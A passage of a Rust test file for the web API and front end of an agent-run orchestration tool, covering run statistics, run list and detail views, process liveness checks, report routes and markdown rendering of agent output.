11060 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11061 version: Some("1.0.1".to_owned()),
11062 automerge_enabled: false,
11063 merged_directly: false,
11064 local: false,
11065 release: None,
11066 problem: Some("checks red".to_owned()),
11067 action_required: Some("look at the PR".to_owned()),
11068 });
11069
11070 for state in [&clean, &blocked] {
11071 let dir = f.runs().join(&state.id);
11072 std::fs::create_dir_all(&dir).expect("run dir");
11073 std::fs::write(
11074 dir.join("run.json"),
11075 serde_json::to_string_pretty(state).expect("serialize run"),
11076 )
11077 .expect("write run.json");
11078 }
11079
11080 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11081 assert_eq!(bumps["merged"], 2);
11082 assert_eq!(bumps["recorded"], 2);
11083 assert_eq!(bumps["pr_opened"], 2);
11084 assert_eq!(bumps["automerge_enabled"], 1);
11085 assert_eq!(bumps["needs_attention"], 1);
11086 assert_eq!(bumps["clean"], 1);
11087 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11088 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11089 }
11090
11091 #[tokio::test]
11092 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11093 let f = Fixture::start().await;
11094 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11095
11096 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11097 assert_eq!(bumps["merged"], 1);
11098 assert_eq!(bumps["recorded"], 0);
11099 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11102 assert_eq!(bumps["automerge_rate"], Value::Null);
11105 assert_eq!(bumps["attention_rate"], Value::Null);
11106 }
11107
11108 #[tokio::test]
11109 async fn stats_queue_counts_come_from_the_live_queue() {
11110 let f = Fixture::start().await;
11111 let q = f.queue();
11112 let mut queued = Task::new(
11113 "queued task".to_owned(),
11114 "do it".to_owned(),
11115 PathBuf::from("/repo"),
11116 Source::Human,
11117 );
11118 q.put(&mut queued).expect("put queued");
11119 let mut held = Task::new(
11120 "held task".to_owned(),
11121 "do it later".to_owned(),
11122 PathBuf::from("/repo"),
11123 Source::Human,
11124 );
11125 held.hold_machine(Some("out of attempts".to_owned()));
11126 q.put(&mut held).expect("put held");
11127
11128 let queue = f.get("/api/stats").await.json()["queue"].clone();
11129 assert_eq!(queue["queued"], 1);
11130 assert_eq!(queue["held"], 1);
11131 assert_eq!(queue["running"], 0);
11132 assert_eq!(queue["done"], 0);
11133 assert_eq!(queue["failed"], 0);
11134 assert_eq!(queue["blocked"], 0);
11135 }
11136
11137 #[tokio::test]
11138 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11139 let f = Fixture::start().await;
11140 let stats = f.get("/api/stats").await;
11141 assert_eq!(stats.status, 200);
11142 assert_eq!(stats.json()["totals"]["runs"], 0);
11143 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11144 assert_eq!(stats.json()["runs_unreadable"], 0);
11145 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11146 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11147 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11148 assert_eq!(stats.json()["repo"], Value::Null);
11149 }
11150
11151 #[tokio::test]
11152 async fn stats_lists_every_repository_with_runs_recorded() {
11153 let f = Fixture::start().await;
11154 write_run_repo(
11155 &f.runs(),
11156 "20260902-140501-a",
11157 RunStatus::Merged,
11158 "/repos/a",
11159 );
11160 write_run_repo(
11161 &f.runs(),
11162 "20260902-140502-b",
11163 RunStatus::Merged,
11164 "/repos/a",
11165 );
11166 write_run_repo(
11167 &f.runs(),
11168 "20260902-140503-c",
11169 RunStatus::Blocked,
11170 "/repos/b",
11171 );
11172
11173 let stats = f.get("/api/stats").await;
11174 assert_eq!(stats.status, 200);
11175 assert_eq!(stats.json()["totals"]["runs"], 3);
11177 assert_eq!(stats.json()["repo"], Value::Null);
11178
11179 let repos = stats.json()["repos"].clone();
11180 let repos = repos.as_array().unwrap();
11181 assert_eq!(repos.len(), 2);
11182 assert_eq!(repos[0]["repo"], "/repos/a");
11184 assert_eq!(repos[0]["name"], "a");
11185 assert_eq!(repos[0]["runs"], 2);
11186 assert_eq!(repos[1]["repo"], "/repos/b");
11187 assert_eq!(repos[1]["runs"], 1);
11188 }
11189
11190 #[tokio::test]
11191 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11192 let f = Fixture::start().await;
11193 write_run_repo(
11194 &f.runs(),
11195 "20260902-140501-a",
11196 RunStatus::Merged,
11197 "/repos/a",
11198 );
11199 write_run_repo(
11200 &f.runs(),
11201 "20260902-140502-b",
11202 RunStatus::Blocked,
11203 "/repos/b",
11204 );
11205
11206 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11207 assert_eq!(stats.status, 200);
11208 assert_eq!(stats.json()["totals"]["runs"], 1);
11209 assert_eq!(stats.json()["totals"]["merged"], 1);
11210 assert_eq!(stats.json()["repo"], "/repos/a");
11211 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11214 assert_eq!(stats.json()["runs_unreadable"], 0);
11217 }
11218
11219 #[tokio::test]
11220 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11221 let f = Fixture::start().await;
11222 write_run_repo(
11223 &f.runs(),
11224 "20260902-140501-a",
11225 RunStatus::Merged,
11226 "/repos/a",
11227 );
11228
11229 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11230 assert_eq!(stats.status, 404);
11231 }
11232
11233 #[tokio::test]
11234 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11235 let f = Fixture::start().await;
11236 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11237
11238 let summary = f.get("/api/runs").await.json();
11239 let row = &summary[0];
11240 assert_eq!(row["short"], "a1b2");
11241 assert_eq!(row["status"], "ready");
11242 assert_eq!(row["done"], true);
11243 assert_eq!(row["title"], "Add a web UI");
11244 assert_eq!(row["repo_name"], "magi");
11245 assert_eq!(row["judges"], 3);
11246 assert_eq!(row["winner"], Value::Null);
11247 assert_eq!(row["reviews"], 0);
11248
11249 let detail = f.get("/api/runs/a1b2").await;
11252 assert_eq!(detail.status, 200);
11253 assert_eq!(detail.json()["base_branch"], "main");
11254 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11255 }
11256
11257 #[tokio::test]
11265 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11266 let f = Fixture::start().await;
11267
11268 let mut none_run = RunState::new(
11269 PathBuf::from("/repo/magi"),
11270 "main".to_owned(),
11271 "0123456789abcdef".to_owned(),
11272 "Add a web UI".to_owned(),
11273 Config::default(),
11274 );
11275 none_run.id = "20260902-140503-none".to_owned();
11276 none_run.status = RunStatus::Ready;
11277 none_run.merge = Some(crate::run::MergeOutcome {
11278 mode: crate::config::MergeMode::None,
11279 ok: true,
11280 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11281 empty: false,
11282 });
11283 write_state(&f.runs(), &none_run);
11284
11285 let mut pr_run = RunState::new(
11286 PathBuf::from("/repo/magi"),
11287 "main".to_owned(),
11288 "0123456789abcdef".to_owned(),
11289 "Add a web UI".to_owned(),
11290 Config::default(),
11291 );
11292 pr_run.id = "20260902-140504-prcl".to_owned();
11293 pr_run.status = RunStatus::Ready;
11294 pr_run.merge = Some(crate::run::MergeOutcome {
11295 mode: crate::config::MergeMode::Pr,
11296 ok: false,
11297 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11298 empty: false,
11299 });
11300 write_state(&f.runs(), &pr_run);
11301
11302 let summary = f.get("/api/runs").await.json();
11303 let rows: std::collections::HashMap<&str, &Value> = summary
11304 .as_array()
11305 .expect("an array")
11306 .iter()
11307 .map(|r| (r["id"].as_str().expect("an id"), r))
11308 .collect();
11309 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11310 assert_eq!(
11311 rows[none_run.id.as_str()]["unmerged_by_design"],
11312 true,
11313 "a mode-none Ready must be flagged in the list"
11314 );
11315 assert_eq!(
11316 rows[pr_run.id.as_str()]["unmerged_by_design"],
11317 false,
11318 "a Ready reached by a closed pull request is a different case"
11319 );
11320
11321 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11322 assert_eq!(none_detail["status"], "ready");
11323 assert_eq!(none_detail["unmerged_by_design"], true);
11324
11325 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11326 assert_eq!(pr_detail["unmerged_by_design"], false);
11327 }
11328
11329 #[tokio::test]
11334 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11335 let f = Fixture::start().await;
11336 let id = "20260902-140502-bbbb";
11340 let mut state = RunState::new(
11341 PathBuf::from("/repo/magi"),
11342 "main".to_owned(),
11343 "0123456789abcdef".to_owned(),
11344 "Add a web UI".to_owned(),
11345 Config::default(),
11346 );
11347 state.id = id.to_owned();
11348 state.status = RunStatus::Judging;
11349 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11350 let dir = f.runs().join(id);
11351 std::fs::create_dir_all(&dir).expect("run dir");
11352 std::fs::write(
11353 dir.join("run.json"),
11354 serde_json::to_string_pretty(&state).expect("serialize run"),
11355 )
11356 .expect("write run.json");
11357
11358 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11364 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11365 assert_eq!(cold["live"], "unknown", "{cold}");
11366
11367 write_daemon(f.home.path(), Timestamp::now());
11370 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11371 assert_eq!(warm["live"], "live", "{warm}");
11372 }
11373
11374 #[tokio::test]
11377 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11378 let f = Fixture::start().await;
11379 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11380 let mut state = RunState::new(
11381 PathBuf::from("/repo/magi"),
11382 "main".to_owned(),
11383 "0123456789abcdef".to_owned(),
11384 "Add a web UI".to_owned(),
11385 Config::default(),
11386 );
11387 state.id = id.to_owned();
11388 state.origin = origin;
11389 let mut value = serde_json::to_value(&state).expect("serialize run");
11390 if let Some(schema) = schema {
11391 value["schema"] = serde_json::json!(schema);
11392 value.as_object_mut().unwrap().remove("origin");
11393 }
11394 let dir = f.runs().join(id);
11395 std::fs::create_dir_all(&dir).expect("run dir");
11396 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11397 };
11398 write(
11399 "20260930-092817-ec34",
11400 Some(crate::run::Origin::from_agent_env(
11401 Some(("4a7b".to_owned(), "chat".to_owned())),
11402 None,
11403 )),
11404 None,
11405 );
11406 write("20260930-092817-0ld1", None, Some(12));
11407
11408 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11409 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11410 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11411
11412 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11413 assert_eq!(
11414 old["origin_label"], "origin unknown (started before origins were recorded)",
11415 "{old}"
11416 );
11417 assert!(old["origin"].is_null(), "{old}");
11418
11419 let list = f.get("/api/runs").await.json();
11420 let labels: Vec<_> = list
11421 .as_array()
11422 .unwrap()
11423 .iter()
11424 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11425 .collect();
11426 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11427 }
11428
11429 #[tokio::test]
11436 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11437 let f = Fixture::start().await;
11438 let id = "20260922-090000-cccc";
11439 let mut state = RunState::new(
11440 PathBuf::from("/repo/magi"),
11441 "main".to_owned(),
11442 "0123456789abcdef".to_owned(),
11443 "Review only".to_owned(),
11444 Config::default(),
11445 );
11446 state.id = id.to_owned();
11447 state.status = RunStatus::Reviewing;
11448 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11449 state.driver_pid = Some(std::process::id());
11455 state.driver_started_at = Some(
11456 crate::proc::process_started_at(std::process::id())
11457 .expect("this test process's own start time must be queryable"),
11458 );
11459 let dir = f.runs().join(id);
11460 std::fs::create_dir_all(&dir).expect("run dir");
11461 std::fs::write(
11462 dir.join("run.json"),
11463 serde_json::to_string_pretty(&state).expect("serialize run"),
11464 )
11465 .expect("write run.json");
11466
11467 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11468 assert_eq!(detail["live"], "live", "{detail}");
11469 }
11470
11471 #[tokio::test]
11477 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11478 let f = Fixture::start().await;
11479 let id = "20260922-090100-dddd";
11480 let mut state = RunState::new(
11481 PathBuf::from("/repo/magi"),
11482 "main".to_owned(),
11483 "0123456789abcdef".to_owned(),
11484 "Review only".to_owned(),
11485 Config::default(),
11486 );
11487 state.id = id.to_owned();
11488 state.status = RunStatus::Reviewing;
11489 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11490 state.driver_pid = Some(std::process::id());
11495 state.driver_started_at = Some("1".to_owned());
11496 let dir = f.runs().join(id);
11497 std::fs::create_dir_all(&dir).expect("run dir");
11498 std::fs::write(
11499 dir.join("run.json"),
11500 serde_json::to_string_pretty(&state).expect("serialize run"),
11501 )
11502 .expect("write run.json");
11503
11504 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11505 assert_eq!(detail["live"], "dead", "{detail}");
11506 }
11507
11508 #[test]
11512 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11513 let mk = |id: &str, pid: Option<u32>| {
11514 let mut s = RunState::new(
11515 PathBuf::from("/repo/magi"),
11516 "main".to_owned(),
11517 "0123456789abcdef".to_owned(),
11518 "Add a web UI".to_owned(),
11519 Config::default(),
11520 );
11521 s.id = id.to_owned();
11522 s.driver_pid = pid;
11523 s.driver_started_at = Some("1790000000".to_owned());
11524 s
11525 };
11526 let states = vec![
11527 mk("20260902-140502-aaaa", Some(77)),
11528 mk("20260902-140502-bbbb", Some(77)),
11529 mk("20260902-140502-cccc", Some(77)),
11530 mk("20260902-140502-dddd", None),
11531 ];
11532 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11533 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11534 let sup: HashMap<String, String> = [(
11535 "20260902-140502-aaaa".to_owned(),
11536 "20260902-140502-cccc".to_owned(),
11537 )]
11538 .into();
11539
11540 let status_calls = std::cell::Cell::new(0);
11541 let identity_calls = std::cell::Cell::new(0);
11542 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11543 |_| {
11544 status_calls.set(status_calls.get() + 1);
11545 Some(true)
11546 },
11547 |_| {
11548 identity_calls.set(identity_calls.get() + 1);
11549 Some("1790000000".to_owned())
11550 },
11551 ));
11552 let rows = summarize(
11553 states,
11554 &open,
11555 &claimed,
11556 &sup,
11557 |p| probe.borrow_mut().status(p),
11558 |p| probe.borrow_mut().started_at(p),
11559 );
11560
11561 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11562 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11563 assert_eq!(rows.len(), 4);
11564 assert!(!rows[0].waiting && rows[1].waiting);
11565 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11566 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11567 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11568 assert_eq!(rows[1].superseded_by, None);
11569 }
11570
11571 #[test]
11572 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11573 let mut state = RunState::new(
11574 PathBuf::from("/repo/magi"),
11575 "main".to_owned(),
11576 "0123456789abcdef".to_owned(),
11577 "Review only".to_owned(),
11578 Config::default(),
11579 );
11580 state.id = "20260922-090200-dead".to_owned();
11581 state.status = RunStatus::Reviewing;
11582 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11583 .expect("serialize list row");
11584 assert_eq!(row["status"], "reviewing");
11585 assert_eq!(row["live"], "dead", "{row}");
11586 assert!(!row["done"].as_bool().unwrap());
11587 }
11588
11589 #[tokio::test]
11590 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11591 let f = Fixture::start().await;
11592 for id in [
11593 "20260902-140501-aaaa",
11594 "20260902-140502-bbbb",
11595 "20260902-140503-cccc",
11596 ] {
11597 write_run(&f.runs(), id, RunStatus::Merged);
11598 }
11599
11600 let all = f.get("/api/runs").await.json();
11601 let capped = f.get("/api/runs?limit=2").await.json();
11602
11603 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11604 assert_eq!(all.as_array().map(Vec::len), Some(3));
11605 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11606 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11607 }
11608
11609 #[tokio::test]
11610 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11611 let f = Fixture::start().await;
11612 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11613
11614 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11615
11616 assert_eq!(res.status, 200);
11617 assert!(
11618 res.headers
11619 .contains("content-type: text/plain; charset=utf-8"),
11620 "a browser must render it, not download it: {}",
11621 res.headers
11622 );
11623 assert!(
11627 res.body.contains("20260902-140501-a1b2"),
11628 "the report is about the run that was asked for: {}",
11629 res.body
11630 );
11631 }
11632
11633 #[tokio::test]
11634 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11635 crate::run::pin_test_home();
11637 let f = Fixture::start().await;
11638 let id = "20260902-140501-a1b2";
11639 write_run(&f.runs(), id, RunStatus::Stalled);
11640 let path = f.runs().join(id).join("run.json");
11643 let mut v: serde_json::Value =
11644 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11645 v["tally"] = serde_json::json!({
11646 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11647 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11648 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11649 "met_quorum": false, "rankings": 1
11650 });
11651 v["reviews"] = serde_json::json!([{
11652 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11653 "e2e_deferred": true,
11654 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11655 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11656 ]}]
11657 }]);
11658 std::fs::write(&path, v.to_string()).unwrap();
11659 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11660 std::fs::write(
11661 f.runs().join("20260902-140502-dead").join("run.json"),
11662 "{not json",
11663 )
11664 .unwrap();
11665
11666 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11667
11668 assert_eq!(res.status, 200, "{}", res.body);
11669 assert!(res.headers.contains("content-type: application/json"));
11670 let j = res.json();
11671 assert_eq!(j["schema"], 1);
11672 assert_eq!(j["header"]["id"], id);
11673 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11674 let kinds: Vec<&str> = j["sections"]
11675 .as_array()
11676 .unwrap()
11677 .iter()
11678 .map(|s| s["kind"].as_str().unwrap())
11679 .collect();
11680 assert_eq!(kinds, ["candidates", "tally", "review"]);
11681 let tally = &j["sections"][1]["tally"];
11682 assert_eq!(
11683 (tally["decided"].clone(), tally["provisional"].clone()),
11684 (false.into(), true.into())
11685 );
11686 let round = &j["sections"][2]["rounds"][0];
11687 assert_eq!(round["e2e"]["state"], "deferred");
11688 assert_eq!(round["findings"][0]["severity"], "major");
11689 assert_eq!(round["findings"][0]["blocking"], true);
11690 assert_eq!(round["findings"][0]["state"], "open");
11691
11692 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11694
11695 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11697 assert_ne!(bad.status, 200, "{}", bad.body);
11698 assert_eq!(
11699 bad.status,
11700 f.get("/api/runs/20260902-140502-dead/report").await.status
11701 );
11702 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11703 assert_eq!(
11704 f.get("/api/runs/20260902-999999-ffff/report.json")
11705 .await
11706 .status,
11707 404
11708 );
11709 }
11710
11711 #[tokio::test]
11712 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11713 let f = Fixture::start().await;
11714
11715 let html = f.get("/").await;
11716 let css = f.get("/app.css").await;
11717 let js = f.get("/app.js").await;
11718
11719 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11720 assert!(
11721 html.headers
11722 .contains("content-type: text/html; charset=utf-8")
11723 );
11724 assert!(css.headers.contains("content-type: text/css"));
11725 assert!(js.headers.contains("content-type: text/javascript"));
11726 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11727 }
11728
11729 #[test]
11730 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11731 let body = |name: &str| {
11732 let at = APP_JS
11733 .find(name)
11734 .unwrap_or_else(|| panic!("{name} missing"));
11735 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11736 };
11737 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11738 let note = body("function landRoundNote");
11739 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11740 assert!(note.contains("Land round ${round}"));
11741 let land = body("function renderLand");
11742 let note_at = land
11743 .find("landRoundNote(pr)")
11744 .expect("renderLand uses the note");
11745 assert!(
11746 note_at
11747 < land
11748 .find("roundRail(pr)")
11749 .expect("renderLand uses the rail")
11750 );
11751 }
11752
11753 #[test]
11754 fn the_runs_page_redesign_keeps_its_guards() {
11755 let body = |name: &str| {
11756 let at = APP_JS
11757 .find(name)
11758 .unwrap_or_else(|| panic!("{name} missing"));
11759 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11760 };
11761 let land = body("function renderLand");
11763 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11764 assert!(
11765 !land.contains("box.append("),
11766 "renderLand must use append()"
11767 );
11768 assert!(land.contains("append(box, ["));
11769 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11771 assert!(
11772 body("function applyRoute")
11773 .contains("route.name !== state.route.name || route.id !== state.route.id")
11774 );
11775 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11777 assert!(!INDEX_HTML.contains("advise-converge"));
11778 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11779 assert!(APP_JS.contains("provisional"));
11780 for id in [
11781 "run-tab-overview",
11782 "run-tab-timeline",
11783 "run-tab-report",
11784 "run-report",
11785 "runs-scope",
11786 ] {
11787 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11788 }
11789 assert!(!INDEX_HTML.contains("runs-tree"));
11790 assert!(!INDEX_HTML.contains("run-raw-panel"));
11791 assert!(APP_JS.contains("resume"));
11793 assert!(APP_JS.contains("unreadable"));
11795 }
11796
11797 #[test]
11798 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11799 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11800 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11801 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11802 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11803 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11804 assert!(APP_JS.contains("unreadable` : null"));
11806 }
11807
11808 #[test]
11809 fn the_run_detail_payload_says_whether_the_run_is_done() {
11810 for (status, done) in [
11812 (RunStatus::Superseded, true),
11813 (RunStatus::Blocked, true),
11814 (RunStatus::Landing, false),
11815 ] {
11816 let mut state = RunState::new(
11817 std::path::PathBuf::from("/repo"),
11818 "main".to_owned(),
11819 "abc".to_owned(),
11820 "x".to_owned(),
11821 crate::config::Config::default(),
11822 );
11823 state.status = status;
11824 let v = serde_json::to_value(RunDetailView::of(
11825 state,
11826 crate::run::Liveness::Unknown,
11827 None,
11828 None,
11829 None,
11830 ))
11831 .unwrap();
11832 assert_eq!(v["done"], done, "{status:?}");
11833 }
11834 }
11835
11836 fn has_strong(nodes: &[md::Node]) -> bool {
11838 serde_json::to_string(nodes).unwrap().contains("strong")
11839 }
11840
11841 #[test]
11842 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11843 let mut state = RunState::new(
11844 std::path::PathBuf::from("/repo"),
11845 "main".to_owned(),
11846 "abc".to_owned(),
11847 "x".to_owned(),
11848 crate::config::Config::default(),
11849 );
11850 let proposal = |approach: &str| {
11851 serde_json::json!({
11852 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11853 })
11854 };
11855 state.advice = Some(
11856 serde_json::from_value(serde_json::json!({
11857 "records": [
11858 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11859 "proposal": proposal("do **this**")},
11860 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11861 ],
11862 "synthesis": "- one\n- **two**\n\n`code`",
11863 }))
11864 .unwrap(),
11865 );
11866 state.candidates = serde_json::from_value(serde_json::json!([
11867 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11868 "summary": "did **it**"},
11869 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11870 ]))
11871 .unwrap();
11872 state.reviews = serde_json::from_value(serde_json::json!([{
11875 "round": 1, "head": "h",
11876 "reviews": [{
11877 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11878 "findings": [
11879 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11880 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11881 ],
11882 }],
11883 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11884 "fix": {"agent": "a", "notes": "fixed **it**",
11885 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11886 }, {"round": 2, "head": "h2", "reviews": []}]))
11887 .unwrap();
11888
11889 let v = serde_json::to_value(RunDetailView::of(
11890 state,
11891 crate::run::Liveness::Unknown,
11892 None,
11893 None,
11894 None,
11895 ))
11896 .unwrap();
11897
11898 let strong = |p: &str| {
11899 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11900 assert!(n.to_string().contains("strong"), "{p}: {n}");
11901 };
11902 strong("/advice_md/synthesis");
11903 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11904 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11905 strong("/advice_md/approaches/0");
11906 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11907 strong("/candidate_summaries_md/0");
11908 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11909 strong("/reviews_md/0/reviewers/0/summary");
11910 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11911 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11912 assert!(f[1].to_string().contains("strong"));
11913 strong("/reviews_md/0/reconsideration/0");
11914 strong("/reviews_md/0/fix/notes");
11915 strong("/reviews_md/0/fix/rejected/0");
11916 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11917 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11918 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11920 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11921 }
11922
11923 #[test]
11924 fn a_run_without_advice_has_no_advice_md() {
11925 let state = RunState::new(
11926 std::path::PathBuf::from("/repo"),
11927 "main".to_owned(),
11928 "abc".to_owned(),
11929 "x".to_owned(),
11930 crate::config::Config::default(),
11931 );
11932 let p = run_prose_md(&state);
11933 assert!(p.advice_md.is_none());
11934 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11935 }
11936
11937 #[test]
11938 fn a_question_view_carries_markdown_for_each_thread_turn() {
11939 let home = TempDir::new().unwrap();
11940 let store = ask::Questions::at(home.path().join("questions"));
11941 let mut q = Question::new(
11942 "run".to_owned(),
11943 "implement".to_owned(),
11944 "impl-A".to_owned(),
11945 "which?".to_owned(),
11946 String::new(),
11947 Vec::new(),
11948 );
11949 q.say("plain words").unwrap();
11950 q.reply("use **this**", Vec::new()).unwrap();
11951 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11952 let bodies = &v["thread_bodies_md"];
11953 assert_eq!(bodies.as_array().unwrap().len(), 2);
11954 assert!(!bodies[0].to_string().contains("strong"));
11955 assert!(bodies[1].to_string().contains("strong"));
11956 }
11957
11958 #[test]
11959 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11960 assert!(APP_JS.contains("function landView(run, raw) {"));
11964 assert!(
11965 APP_JS.contains(
11966 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11967 )
11968 );
11969 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11970 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11971 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11972 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11973 }
11974
11975 #[test]
11976 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11977 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11978 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11979 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11980 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11981 }
11982
11983 #[test]
11984 fn review_rounds_label_a_distinct_verified_head() {
11985 assert!(APP_JS.contains("round.verified_head"));
11986 assert!(APP_JS.contains("verified HEAD"));
11987 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11988 }
11989
11990 #[test]
